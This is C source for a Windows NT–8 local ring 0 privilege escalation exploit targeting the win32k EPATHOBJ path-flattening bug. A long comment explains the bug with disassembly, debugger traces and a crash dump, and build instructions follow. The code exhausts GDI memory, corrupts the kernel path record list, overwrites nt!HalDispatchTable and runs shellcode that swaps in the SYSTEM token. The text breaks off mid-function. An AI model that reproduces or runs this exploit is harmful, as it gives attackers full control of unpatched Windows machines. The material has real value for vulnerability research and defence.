Windows NT – Windows 8 EPATHOBJ Local Ring 0 Exploit

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include
#include
#include
#include
#include
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include

#pragma comment(lib, “gdi32”)
#pragma comment(lib, “kernel32”)
#pragma comment(lib, “user32”)
#pragma comment(lib, “shell32”)
#pragma comment(linker, “/SECTION:.text,ERW”)

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

//
// ————————————————–
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
// —————————————– taviso () cmpxchg8b com —–
//
// INTRODUCTION
//
// There’s a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn’t initialise the
// next list pointer. The bug is really nice, but exploitation when
// allocations start failing is tricky.
//
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
// PATHRECORD **pppr,
// ULONG *pcMax,
// ULONG cNeeded)
// .text:BFA122CA mov esi, [ebp+ppr]
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
// .text:BFA122D0 push edi
// .text:BFA122D1 mov edi, [ebp+pprNew]
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
// .text:BFA122DA xor edx, edx
// .text:BFA122DC mov [eax], edx
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
// .text:BFA122E1 and ecx, not (PD_BEZIER)
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
// .text:BFA122ED jnz short loc_BFA122F7
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
//
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
//
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
// .text:BF9160D7 xor esi, esi
// .text:BF9160DE push esi
// .text:BF9160DF push esi
// .text:BF9160E0 push [ebp+tag]
// .text:BF9160E3 push [ebp+size]
// .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
// .text:BF9160EB mov esi, eax
// .text:BF9160ED test esi, esi
// .text:BF9160EF jz short loc_BF9160FF
// .text:BF9160F1 push [ebp+size] ; size_t
// .text:BF9160F4 push 0 ; int
// .text:BF9160F6 push esi ; void *
// .text:BF9160F7 call _memset
//
// However, the PATHALLOC allocator includes it’s own freelist implementation, and
// if that codepath can satisfy a request the memory isn’t zeroed and returned
// directly to the caller. This effectively means that we can add our own objects
// to the PATHRECORD chain.
//
// We can force this behaviour under memory pressure relatively easily, I just
// spam HRGN objects until they start failing. This isn’t super reliable, but it’s
// good enough for testing.
//
// // I don’t use the simpler CreateRectRgn() because it leaks a GDI handle on
// // failure. Seriously, do some damn QA Microsoft, wtf.
// for (Size = 1 << 26; Size; Size >>= 1) {
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
// ;
// }
//
// Adding user controlled blocks to the freelist is a little trickier, but I’ve
// found that flattening large lists of bezier curves added with PolyDraw() can
// accomplish this reliably. The code to do this is something along the lines of:
//
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = 0x41414141 >> 4;
// Points[PointNum].y = 0x41414141 >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
// BeginPath(Device);
// PolyDraw(Device, Points, PointTypes, PointNum);
// EndPath(Device);
// FlattenPath(Device);
// FlattenPath(Device);
// EndPath(Device);
// }
//
// We can verify this is working by putting a breakpoint after newpathrec, and
// verifying the buffer is filled with recognisable values when it returns:
//
// kd> u win32k!EPATHOBJ::pprFlattenRec+1E
// win32k!EPATHOBJ::pprFlattenRec+0x1e:
// 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
// 95c922bd 83f801 cmp eax,1
// 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
// 95c922c2 33c0 xor eax,eax
// 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
// 95c922c9 56 push esi
// 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
// 95c922cd 8b4604 mov eax,dword ptr [esi+4]
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 “dd poi(ebp-4) L1; gc”
// kd> g
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
// fe938fac 41414140
//
// The breakpoint dumps the first dword of the returned buffer, which matches the
// bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
// EPATHOBJ->records->head->next->next into userspace is no problem, and we can
// easily break the list traversal in bFlattten():
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// EPATHOBJ *pathobj; // esi () 1
// PATHOBJ *ppath; // eax () 1
// BOOL result; // eax () 2
// PATHRECORD *ppr; // eax () 3
//
// pathobj = this;
// ppath = this->ppath;
// if ( ppath )
// {
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// if ( !ppr )
// goto LABEL_2;
// }
// }
// pathobj->fl &= 0xFFFFFFFE;
// result = 1;
// }
// else
// {
// LABEL_2:
// result = 0;
// }
// return result;
// }
//
// All we have to do is allocate our own PATHRECORD structure, and then spam
// PolyDraw() with POINTFIX structures containing co-ordinates that are actually
// pointers shifted right by 4 (for this reason the structure must be aligned so
// the bits shifted out are all zero).
//
// We can see this in action by putting a breakpoint in bFlatten when ppr has
// moved into userspace:
//
// kd> u win32k!EPATHOBJ::bFlatten
// win32k!EPATHOBJ::bFlatten:
// 95c92517 8bff mov edi,edi
// 95c92519 56 push esi
// 95c9251a 8bf1 mov esi,ecx
// 95c9251c 8b4608 mov eax,dword ptr [esi+8]
// 95c9251f 85c0 test eax,eax
// 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
// 95c92523 33c0 xor eax,eax
// 95c92525 5e pop esi
// kd> u
// win32k!EPATHOBJ::bFlatten+0xf:
// 95c92526 c3 ret
// 95c92527 8b4014 mov eax,dword ptr [eax+14h]
// 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
// 95c9252c f6400810 test byte ptr [eax+8],10h
// 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
// 95c92532 50 push eax
// 95c92533 8bce mov ecx,esi
// 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
//
// So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
// flags (defined in winddi.h). Let’s break if it’s in userspace:
//
// kd> ba e 1 95c9252c “j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''" // kd> g
// 95c9252c f6400810 test byte ptr [eax+8],10h
// kd> r
// eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
// eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
// win32k!EPATHOBJ::bFlatten+0x15:
// 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
//
// The question is how to turn that into code execution? It’s obviously trivial to
// call prFlattenRec with our userspace PATHRECORD..we can do that by setting
// PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
// poses a problem.
//
// Let me demonstrate calling it with my own PATHRECORD:
//
// // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// // pathrecord chain.
// PathRecord = VirtualAlloc(NULL,
// sizeof(PATHRECORD),
// MEM_COMMIT | MEM_RESERVE,
// PAGE_EXECUTE_READWRITE);
//
// // Initialise with recognisable debugging values.
// FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
//
// PathRecord->next = (PVOID)(0x41414141);
// PathRecord->prev = (PVOID)(0x42424242);
//
// // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// // EPATHOBJ::bFlatten(), do that here.
// PathRecord->flags = PD_BEZIERS;
//
// // Generate a large number of Bezier Curves made up of pointers to our
// // PATHRECORD object.
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { // Points[PointNum].x = (ULONG)(PathRecord) >> 4;
// Points[PointNum].y = (ULONG)(PathRecord) >> 4;
// PointTypes[PointNum] = PT_BEZIERTO;
// }
//
// kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 “j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'" // kd> g
// win32k!EPATHOBJ::pprFlattenRec+0x28:
// 95c922c2 33c0 xor eax,eax
// kd> dd ebp+8 L1
// a3633be0 00130000
//
// The ppr object is in userspace! If we peek at it:
//
// kd> dd poi(ebp+8)
// 00130000 41414141 42424242 00000010 cccccccc
// 00130010 00000000 00000000 00000000 00000000
// 00130020 00000000 00000000 00000000 00000000
// 00130030 00000000 00000000 00000000 00000000
// 00130040 00000000 00000000 00000000 00000000
// 00130050 00000000 00000000 00000000 00000000
// 00130060 00000000 00000000 00000000 00000000
// 00130070 00000000 00000000 00000000 00000000
//
// There’s the next and prev pointer.
//
// kd> kvn
// # ChildEBP RetAddr Args to Child
// 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
// 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
// 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
// 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
//
// The question is how to get PATHALLOC() to succeed under memory pressure so we
// can make this exploitable? I’m quite proud of this list cycle trick,
// here’s how to turn it into an arbitrary write.
//
// First, we create a watchdog thread that will patch the list atomically
// when we’re ready. This is needed because we can’t exploit the bug while
// HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
//
// .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
// .text:BFA122BD cmp eax, 1 ; Check for failure
// .text:BFA122C0 jz short continue
// .text:BFA122C2 xor eax, eax ; Exit early
// .text:BFA122C4 jmp early_exit
//
// So we create a list node like this:
//
// PathRecord->Next = PathRecord;
// PathRecord->Flags = 0;
//
// Then EPATHOBJ::bFlatten() spins forever doing nothing:
//
// BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
// {
// /* … */
//
// for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
// {
// if ( ppr->flags & PD_BEZIER )
// {
// ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
// }
// }
//
// /* … */
// }
//
// While it’s spinning, we clean up in another thread, then patch the thread (we
// can do this, because it’s now in userspace) to trigger the exploit. The first
// block of pprFlattenRec does something like this:
//
// if ( pprNew->pprPrev )
// pprNew->pprPrev->pprnext = pprNew;
//
// Let’s make that write to 0xCCCCCCCC.
//
// DWORD WINAPI WatchdogThread(LPVOID Parameter)
// {
//
// // This routine waits for a mutex object to timeout, then patches the
// // compromised linked list to point to an exploit. We need to do this.
// LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”,
// GetCurrentThreadId(),
// Mutex);
//
// if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// // It looks like the main thread is stuck in a call to FlattenPath(),
// // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// // up, and then patch the list to trigger our exploit.
// while (NumRegion–)
// DeleteObject(Regions[NumRegion]);
//
// LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”, &PathRecord->next, &ExploitRecord);
//
// InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
//
// } else {
// LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”);
// }
//
// return 0;
// }
//
// PathRecord->next = PathRecord;
// PathRecord->prev = (PVOID)(0x42424242);
// PathRecord->flags = 0;
//
// ExploitRecord.next = NULL;
// ExploitRecord.prev = 0xCCCCCCCC;
// ExploitRecord.flags = PD_BEZIERS;
//
// Here’s the output on Windows 8:
//
// kd> g
// *******************************************************************************
// * *
// * Bugcheck Analysis *
// * *
// *******************************************************************************
//
// Use !analyze -v to get detailed debugging information.
//
// BugCheck 50, {cccccccc, 1, 8f18972e, 2}
// *** WARNING: Unable to verify checksum for ComplexPath.exe
// *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
// Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
//
// Followup: MachineOwner
// ———
//
// nt!RtlpBreakWithStatusInstruction:
// 810f46f4 cc int 3
// kd> kv
// ChildEBP RetAddr Args to Child
// a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
// a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
// a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
// a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
// a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
// a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string’+0x31868
// a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
// a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
// a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
// a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
// a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
// a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
// 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
// 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
// WARNING: Stack unwind information not available. Following frames may be wrong.
// 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
// 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
// 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
// 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
// 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
// kd> .trap a03aba2c
// ErrCode = 00000002
// eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
// eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
// cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
// win32k!EPATHOBJ::pprFlattenRec+0x82:
// 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
// kd> vertarget
// Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
// Product: WinNt, suite: TerminalServer SingleUserTS
// Built by: 9200.16581.x86fre.win8_gdr.130410-1505
// Machine Name:
// Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
// Debug session time: Mon May 20 14:17:20.259 2013 (UTC – 7:00)
// System Uptime: 0 days 0:02:30.432
// kd> .bugcheck
// Bugcheck code 00000050
// Arguments cccccccc 00000001 8f18972e 00000002
//
// EXPLOITATION
//
// We’re somewhat limited with what we can do, as we don’t control what’s
// written, it’s always a pointer to a PATHRECORD object. We can clobber a
// function pointer, but the problem is making it point somewhere useful.
//
// The solution is to make the Next pointer a valid sequence of instructions,
// which jumps to our second stage payload. We have to do that in just 4 bytes
// (unless you can find a better call site, let me know if you spot one).
//
// Thanks to progmboy for coming up with the solution: you reach back up the
// stack and pull a SystemCall parameter out of the stack. It turns out
// NtQueryIntervalProfile matches this requirement perfectly.
//
// INSTRUCTIONS
//
// C:\> cl ComplexPath.c
// C:\> ComplexPath
//
// You might need to run it several times before we get the allocation we need,
// it won’t crash if it doesn’t work, so you can keep trying. I’m not sure how
// to improve that.
//
// CREDIT
//
// Tavis Ormandy
// progmboy //

POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion = 0;
HANDLE Mutex;
DWORD Finished = 0;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, …);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010

typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[4];
} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
PPATHRECORD ExploitRecordExit;

enum { SystemModuleInformation = 11 };
enum { ProfileTotalIssues = 2 };

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

FARPROC NtQuerySystemInformation;
FARPROC NtQueryIntervalProfile;
FARPROC PsReferencePrimaryToken;
FARPROC PsLookupProcessByProcessId;
PULONG HalDispatchTable;
ULONG HalQuerySystemInformation;
PULONG TargetPid;
PVOID *PsInitialSystemProcess;

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize)
{
DWORD i, Mask;

// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
Mask = ~7;

// Mask out the reference count.
CurrentValue &= Mask;

// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) { if ((Structure[i] & Mask) == CurrentValue) { // And finally, replace it with NewValue. Structure[i] = NewValue; return TRUE; } } // Member not found. return FALSE; } // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. Finished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); } return 0; } DWORD WINAPI WatchdogThread(LPVOID Parameter) { // Here we wait for the main thread to get stuck inside FlattenPath(). WaitForSingleObject(Mutex, CYCLE_TIMEOUT); // It looks like we've taken control of the list, and the main thread // is spinning in EPATHOBJ::bFlatten. We can't continue because // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails. // So first, we clean up and make sure it can allocate memory. while (NumRegion) DeleteObject(Regions[--NumRegion]); // Now we switch out the Next pointer for our exploit record. As soon // as this completes, the main thread will stop spinning and continue // into EPATHOBJ::pprFlattenRec. InterlockedExchangePointer(&PathRecord->next,
&ExploitRecord);
return 0;
}

// I use this routine to generate a table of acceptable stub addresses. The
// 0x40 offset is the location of the PULONG parameter to
// nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
// trick.
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr [ebp+0x40]; // 0
__asm inc ecx
__asm jmp dword ptr [ebp+0x40]; // 1
__asm inc edx
__asm jmp dword ptr [ebp+0x40]; // 2
__asm inc ebx
__asm jmp dword ptr [ebp+0x40]; // 3
__asm inc esi
__asm jmp dword ptr [ebp+0x40]; // 4
__asm inc edi
__asm jmp dword ptr [ebp+0x40]; // 5
__asm dec eax
__asm jmp dword ptr [ebp+0x40]; // 6
__asm dec ecx
__asm jmp dword ptr [ebp+0x40]; // 7
__asm dec edx
__asm jmp dword ptr [ebp+0x40]; // 8
__asm dec ebx
__asm jmp dword ptr [ebp+0x40]; // 9
__asm dec esi
__asm jmp dword ptr [ebp+0x40]; // 10
__asm dec edi
__asm jmp dword ptr [ebp+0x40]; // 11

// Mark end of table.
__asm {
_emit 0
_emit 0
_emit 0
_emit 0
}
}

int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
ULONG PointNum;
HMODULE KernelHandle;
PULONG DispatchRedirect;
PULONG Interval;
ULONG SavedInterval;
RTL_PROCESS_MODULES ModuleInfo;

LogMessage(L_INFO, “\r————————————————–\n”
“\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n”
“\r——————- taviso () cmpxchg8b com, programmeboy () gmail com —\n”
“\n”);

NtQueryIntervalProfile = GetProcAddress(GetModuleHandle(“ntdll”), “NtQueryIntervalProfile”);
NtQuerySystemInformation = GetProcAddress(GetModuleHandle(“ntdll”), “NtQuerySystemInformation”);
Mutex = CreateMutex(NULL, FALSE, NULL);
DispatchRedirect = (PVOID) HalDispatchRedirect;
Interval = (PULONG) ShellCode;
SavedInterval = Interval[0];
TargetPid = GetCurrentProcessId();

LogMessage(L_INFO, “NtQueryIntervalProfile () %p”, NtQueryIntervalProfile);
LogMessage(L_INFO, “NtQuerySystemInformation () %p”, NtQuerySystemInformation);

// Lookup the address of system modules.
NtQuerySystemInformation(SystemModuleInformation,
&ModuleInfo,
sizeof ModuleInfo,
NULL);

LogMessage(L_DEBUG, “NtQuerySystemInformation() => %s () %p”,
ModuleInfo.Modules[0].FullPathName,
ModuleInfo.Modules[0].ImageBase);

// Lookup some system routines we require.
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, “HalDispatchTable”) – (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, “PsInitialSystemProcess”) – (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, “PsReferencePrimaryToken”) – (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, “PsLookupProcessByProcessId”) – (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

// Search for a ret instruction to install in the damaged HalDispatchTable.
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
– (ULONG) KernelHandle
+ (ULONG) ModuleInfo.Modules[0].ImageBase;

LogMessage(L_INFO, “Discovered a ret instruction at %p”, HalQuerySystemInformation);

// Create our PATHRECORD in user space we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

LogMessage(L_INFO, “Allocated userspace PATHRECORD () %p”, PathRecord);

// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
// EPATHOBJ::bFlatten(). We don’t set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);

LogMessage(L_INFO, ” ->next @ %p”, PathRecord->next);
LogMessage(L_INFO, ” ->prev @ %p”, PathRecord->prev);
LogMessage(L_INFO, ” ->flags @ %u”, PathRecord->flags);

// Now we need to create a PATHRECORD at an address that is also a valid
// x86 instruction, because the pointer will be interpreted as a function.
// I’ve created a list of candidates in DispatchRedirect.
LogMessage(L_INFO, “Searching for an available stub address…”);

// I need to map at least two pages to guarantee the whole structure is
// available.
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE – 1),
PAGE_SIZE * 2,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)) {

LogMessage(L_WARN, “\tVirtualAlloc(%#x) => %#x”,
*DispatchRedirect & ~(PAGE_SIZE – 1),
GetLastError());

// This page is not available, try the next candidate.
if (!*++DispatchRedirect) {
LogMessage(L_ERROR, “No redirect candidates left, sorry!”);
return 1;
}
}

LogMessage(L_INFO, “Success, ExploitRecordExit () %#0x”, *DispatchRedirect);

// This PATHRECORD must terminate the list and recover.
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next = NULL;
ExploitRecordExit->prev = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;

LogMessage(L_INFO, ” ->next @ %p”, ExploitRecordExit->next);
LogMessage(L_INFO, ” ->prev @ %p”, ExploitRecordExit->prev);
LogMessage(L_INFO, ” ->flags @ %u”, ExploitRecordExit->flags);

// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
// be copied over to the new record. Therefore, we get
//
// nt!HalDispatchTable[1] = &ExploitRecordExit.
//
// So we make &ExploitRecordExit a valid sequence of instuctions here.
LogMessage(L_INFO, “ExploitRecord () %#0x”, &ExploitRecord);

ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

LogMessage(L_INFO, ” ->next @ %p”, ExploitRecord.next);
LogMessage(L_INFO, ” ->prev @ %p”, ExploitRecord.prev);
LogMessage(L_INFO, ” ->flags @ %u”, ExploitRecord.flags);

LogMessage(L_INFO, “Creating complex bezier path with %x”, (ULONG)(PathRecord) >> 4);

// Generate a large number of Belier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}

// Switch to a dedicated desktop so we don’t spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop(“DontPanic”,
NULL,
NULL,
0,
GENERIC_ALL,
NULL));

// Get a handle to this Desktop.
Device = GetDC(NULL);

// Take ownership of Mutex
WaitForSingleObject(Mutex, INFINITE);

// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

LogMessage(L_INFO, “Begin CreateRoundRectRgn cycle”);

// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don’t think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don’t use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}

LogMessage(L_INFO, “Allocated %u HRGN objects”, NumRegion);

LogMessage(L_INFO, “Flattening curves…”);

for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);

// Test if exploitation succeeded.
NtQueryIntervalProfile(ProfileTotalIssues, Interval);

// Repair any damage.
*Interval = SavedInterval;

EndPath(Device);
}

if (Finished) {
